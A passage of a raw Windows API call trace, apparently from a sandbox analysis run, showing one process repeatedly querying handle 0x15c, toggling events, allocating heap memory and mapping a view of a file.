ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.670] ResetEvent (hEvent=0xdc) returned 1 [0093.670] SetEvent (hEvent=0xe0) returned 1 [0093.670] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.670] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.670] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.670] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.670] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.671] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.671] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.671] ResetEvent (hEvent=0xdc) returned 1 [0093.671] SetEvent (hEvent=0xe0) returned 1 [0093.671] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.671] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.671] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.671] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.671] ResetEvent (hEvent=0xdc) returned 1 [0093.671] SetEvent (hEvent=0xe0) returned 1 [0093.672] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.672] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.672] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.672] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.672] ResetEvent (hEvent=0xdc) returned 1 [0093.672] SetEvent (hEvent=0xe0) returned 1 [0093.672] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.673] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.673] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.673] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.673] ResetEvent (hEvent=0xdc) returned 1 [0093.673] SetEvent (hEvent=0xe0) returned 1 [0093.673] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.674] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.674] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.674] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.674] ResetEvent (hEvent=0xdc) returned 1 [0093.674] SetEvent (hEvent=0xe0) returned 1 [0093.674] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.674] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.675] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.675] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.675] ResetEvent (hEvent=0xdc) returned 1 [0093.675] SetEvent (hEvent=0xe0) returned 1 [0093.675] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.675] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.676] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.676] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.676] ResetEvent (hEvent=0xdc) returned 1 [0093.676] SetEvent (hEvent=0xe0) returned 1 [0093.676] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.676] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.676] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.676] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.676] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.677] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.677] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.677] ResetEvent (hEvent=0xdc) returned 1 [0093.677] SetEvent (hEvent=0xe0) returned 1 [0093.677] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.677] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.677] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.677] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.678] ResetEvent (hEvent=0xdc) returned 1 [0093.678] SetEvent (hEvent=0xe0) returned 1 [0093.678] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.678] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.678] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.678] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.678] ResetEvent (hEvent=0xdc) returned 1 [0093.678] SetEvent (hEvent=0xe0) returned 1 [0093.679] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.679] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.679] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.679] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.679] ResetEvent (hEvent=0xdc) returned 1 [0093.679] SetEvent (hEvent=0xe0) returned 1 [0093.679] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.680] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.680] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.680] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.680] ResetEvent (hEvent=0xdc) returned 1 [0093.680] SetEvent (hEvent=0xe0) returned 1 [0093.680] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.680] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.681] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.681] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.681] ResetEvent (hEvent=0xdc) returned 1 [0093.681] SetEvent (hEvent=0xe0) returned 1 [0093.681] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.681] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.682] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.682] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.682] ResetEvent (hEvent=0xdc) returned 1 [0093.682] SetEvent (hEvent=0xe0) returned 1 [0093.682] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.682] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.682] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.683] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.683] ResetEvent (hEvent=0xdc) returned 1 [0093.683] SetEvent (hEvent=0xe0) returned 1 [0093.683] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.683] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.684] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.684] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.684] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.684] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.684] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.684] ResetEvent (hEvent=0xdc) returned 1 [0093.684] SetEvent (hEvent=0xe0) returned 1 [0093.684] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.684] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.685] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.685] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.685] ResetEvent (hEvent=0xdc) returned 1 [0093.685] SetEvent (hEvent=0xe0) returned 1 [0093.685] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.685] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.685] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.685] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.685] ResetEvent (hEvent=0xdc) returned 1 [0093.685] SetEvent (hEvent=0xe0) returned 1 [0093.686] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.686] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.686] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.686] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.686] ResetEvent (hEvent=0xdc) returned 1 [0093.686] SetEvent (hEvent=0xe0) returned 1 [0093.686] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.687] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.687] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.687] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.687] ResetEvent (hEvent=0xdc) returned 1 [0093.687] SetEvent (hEvent=0xe0) returned 1 [0093.687] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.687] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.688] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.688] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.688] ResetEvent (hEvent=0xdc) returned 1 [0093.688] SetEvent (hEvent=0xe0) returned 1 [0093.688] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.688] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.689] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.689] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.689] ResetEvent (hEvent=0xdc) returned 1 [0093.689] SetEvent (hEvent=0xe0) returned 1 [0093.689] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.689] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.690] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.690] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.690] ResetEvent (hEvent=0xdc) returned 1 [0093.690] SetEvent (hEvent=0xe0) returned 1 [0093.690] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.690] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.690] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.690] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.690] ResetEvent (hEvent=0xdc) returned 1 [0093.691] SetEvent (hEvent=0xe0) returned 1 [0093.691] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.691] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.691] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.691] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.691] ResetEvent (hEvent=0xdc) returned 1 [0093.691] SetEvent (hEvent=0xe0) returned 1 [0093.691] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.692] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.692] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.692] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.692] ResetEvent (hEvent=0xdc) returned 1 [0093.692] SetEvent (hEvent=0xe0) returned 1 [0093.692] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.693] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.693] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.693] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.693] ResetEvent (hEvent=0xdc) returned 1 [0093.693] SetEvent (hEvent=0xe0) returned 1 [0093.693] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.693] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.694] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.694] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.694] ResetEvent (hEvent=0xdc) returned 1 [0093.694] SetEvent (hEvent=0xe0) returned 1 [0093.694] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.694] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.695] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.695] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.695] ResetEvent (hEvent=0xdc) returned 1 [0093.695] SetEvent (hEvent=0xe0) returned 1 [0093.695] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.695] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.695] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.695] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.696] ResetEvent (hEvent=0xdc) returned 1 [0093.696] SetEvent (hEvent=0xe0) returned 1 [0093.696] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.696] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.696] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.696] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.696] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.696] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.697] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.697] ResetEvent (hEvent=0xdc) returned 1 [0093.697] SetEvent (hEvent=0xe0) returned 1 [0093.697] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.697] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.697] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.697] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.697] ResetEvent (hEvent=0xdc) returned 1 [0093.697] SetEvent (hEvent=0xe0) returned 1 [0093.698] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.698] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.698] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.698] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.698] ResetEvent (hEvent=0xdc) returned 1 [0093.698] SetEvent (hEvent=0xe0) returned 1 [0093.698] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.699] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.699] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.699] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.699] ResetEvent (hEvent=0xdc) returned 1 [0093.699] SetEvent (hEvent=0xe0) returned 1 [0093.699] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.699] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.700] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.700] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.700] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.700] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.700] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.700] ResetEvent (hEvent=0xdc) returned 1 [0093.700] SetEvent (hEvent=0xe0) returned 1 [0093.700] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.700] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.701] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.701] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.701] ResetEvent (hEvent=0xdc) returned 1 [0093.701] SetEvent (hEvent=0xe0) returned 1 [0093.701] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.701] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.702] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.702] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.702] ResetEvent (hEvent=0xdc) returned 1 [0093.702] SetEvent (hEvent=0xe0) returned 1 [0093.702] RtlAllocateHeap (HeapHandle=0x940000, 